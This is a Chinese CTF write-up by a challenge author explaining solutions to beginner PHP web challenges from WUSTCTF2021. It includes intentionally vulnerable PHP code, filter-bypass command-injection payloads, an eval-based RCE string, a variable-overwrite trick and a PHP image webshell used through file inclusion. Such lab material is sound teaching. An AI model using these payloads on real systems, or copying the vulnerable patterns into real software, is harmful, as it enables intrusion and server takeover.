“蚁景杯”WUSTCTF2021新生赛web

前言

此次参与了新生赛 web方向的出题,出的题都比较基础,以下是WP

Web

EasyWeb

题目打开都是图片,给了两句提示,我们f12看一下,发现给了提示:

base64解码一下 :get_flag.php 访问之后就是最基础的传参:

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(E_ALL & ~E_NOTICE);
highlight_file(__FILE__);
include "f1ag.php";
if($_GET['wbb'] === 'cute' && $_POST['ctf'] === 'wust2021')
{
echo $f1ag;
}
?>

payload:

Web2

机器人总动员,联想到最简单的robots协议,访问一下robots.txt后得到:

访问它得到flag:

矛盾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php
header("content-type:text/html;charset=utf-8");
//矛盾
error_reporting(0);
highlight_file(__FILE__);
include "flag.php";
$num=$_GET['num'];
$s1=$_GET['s1'];
$s2=$_GET['s2'];
if($num !== '42'&& intval($num) == 42)
{
if($s1!==$s2 && md5($s1) == md5($s2))
{
echo $flag;
}
else
{
die("差一点!");
}
}
else
{
die("再想想!");
}
?>

这里运用到了intval函数的性质和php弱比较 ,有两层,因为 intval(042)=42,那这里直接用042就可以绕过第一层,具体intval函数的用法可以参考php官方文档。

第二层 可以用数组绕过,也可以用弱比较绕过(找到两个不同字符串,md5加密后都是0e开头)

payload1(数组绕过 ?num=042&s1[]=1&s2=[]

payload2 (弱比较 ?num=042&s1=s878926199a&s2=s214587387a 这里s1和s2的值可以是其他,我随意找的两个。

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_GET['cmd']))

$cmd=$_GET['cmd'];
if(preg_match('/flag|cat|\s/i',$cmd))
{
die("换个方式");
}
system($cmd);//最简单的命令执行,没有之一

}else{
highlight_file(__FILE__);
}
?>

如题所说,最简单的命令执行,没有之一,简单的过滤了一下flag,cat,空格。

依次想办法绕过就行了 flag这里可以用斜杠,也可以用?匹配 等,cat也可以用反斜杠,也可以找等效的命令 如 tac more

空格的绕过可以用 $IFS$9、 ${IFS}

其中一种方式的payload: ?cmd=ca\t${IFS}/fla\g.txt

Cover

其实这个题目,我是想考察考察$GLOBALS变量和变量覆盖,通过 $GLOBALS 拿到第一个提示进入后面的变量覆盖考点,但其实第一步就可以直接rce了。

先说说预期解:

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
//hint:php $GLOBALS
include 'flag.php';
highlight_file(__file__);
$a=$_GET['a'];
eval("var_dump($$a);");
?>

这里给了提示,$GLOBALS,是一个超级全局变量,又有 $$ 我们想到可以直接把全局变量给打印出来,搞不好flag直接就在变量里面。所以传参?a=GLOBALS 后得到:

发现确实存在Flag,不过是错误的,但给了一个hint 我们访问 c0ver2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php
error_reporting(E_ALL);

include('flag_is_there.php');

$choices = array('choice1'=>'1.txt','choice2'=>'2.txt','choice3'=>'3.txt');

if(isset($_GET['cover']) && is_array($_GET['cover'])) {
extract($_GET['cover'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}
if(isset($_GET['choice'])) {
$choice = $_GET['choice'];
if (array_key_exists($choice, $choices) === FALSE) {
echo "No! You only have 3 choice except you can break it ~";
die();
}
$content = file_get_contents($choices[$choice]);
echo $content;

} else {
echo "Please choice one !";
}
?>

包含了flag_is_there.php,然后存在 file_get_contents函数 很自然的思路是想办法通过这个函数拿到flag_is_there.php的内容,但是choices数组被写死了,似乎只能拿到1.txt2.txt,3.txt的内容,但是发现这里有一个extract函数,所以我们可利用它来实现变量覆盖,这里用到二维数组实现:?cover[choices][choice1]=flag_is_there.php&choice=choice1 F12得到flag

非预期:

第一步里面:eval("var_dump($$a);"); 这个$a 参数没有任何过滤,所以我们可以传

?a=a=1);system('ls');// 直接rce :

EasyUpload

1
2
3
4
5
6
7
8
9
10
 <?php
//try to visit upload_file.php
error_reporting(0);
highlight_file(__FILE__);
$file = $_GET['file'];
if (preg_match("/flag/", $file)){
die('Oh no!');
}
include $file;
?>

一开始给了提示 有一个上传的点 ,upload_file.php ,然后题目也给了源码上传点处理的源码,主要看这几行

1
2
3
4
5
6
7
8
9
10
11
12
if(in_array($file_ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) 
{
die('Php file ?');
}
if (!in_array($file_type, ['image/jpeg', 'image/gif', 'image/png']))
{
die('Bad file');
}
if (preg_match("/<\?php|eval|assert|@/i", file_get_contents($file_content)))
{
die('Bad file of content !');
}

后缀用黑名单,文件类型限制为图片,文件内容也做了限制。考虑到前面有一个index.php中 include 函数,所以考虑包含图片马,后缀和类型我们可以轻松绕过,而关于文件内容绕过,过滤了 <?php我们可以用<script>标签绕过,过滤了evalassert 可以用拼接绕过,不过这里没有过滤system,那就直接用system。

在windows下合成 .png 图片马 php 文件内容为:<script language='php'>system($_GET[cmd]);</script>

上传之后,我们在index.php包含图片路径并传入命令参数,成功回显:

然后拿到根目录下flag:

BabyPHP

https://www.gem-love.com/ctf/2283.html#WUSTCTF%E6%9C%B4%E5%AE%9E%E6%97%A0%E5%8D%8ERevenge

小结

以前自己都是做题的一方,这是第一次作为出题的一方,环境部署过程中也遇到了一些问题。出题的确也可以学到很多东西,对一个知识的理解会加深一点,另外这次很多问题出在了linux权限上,也引起了我的注意。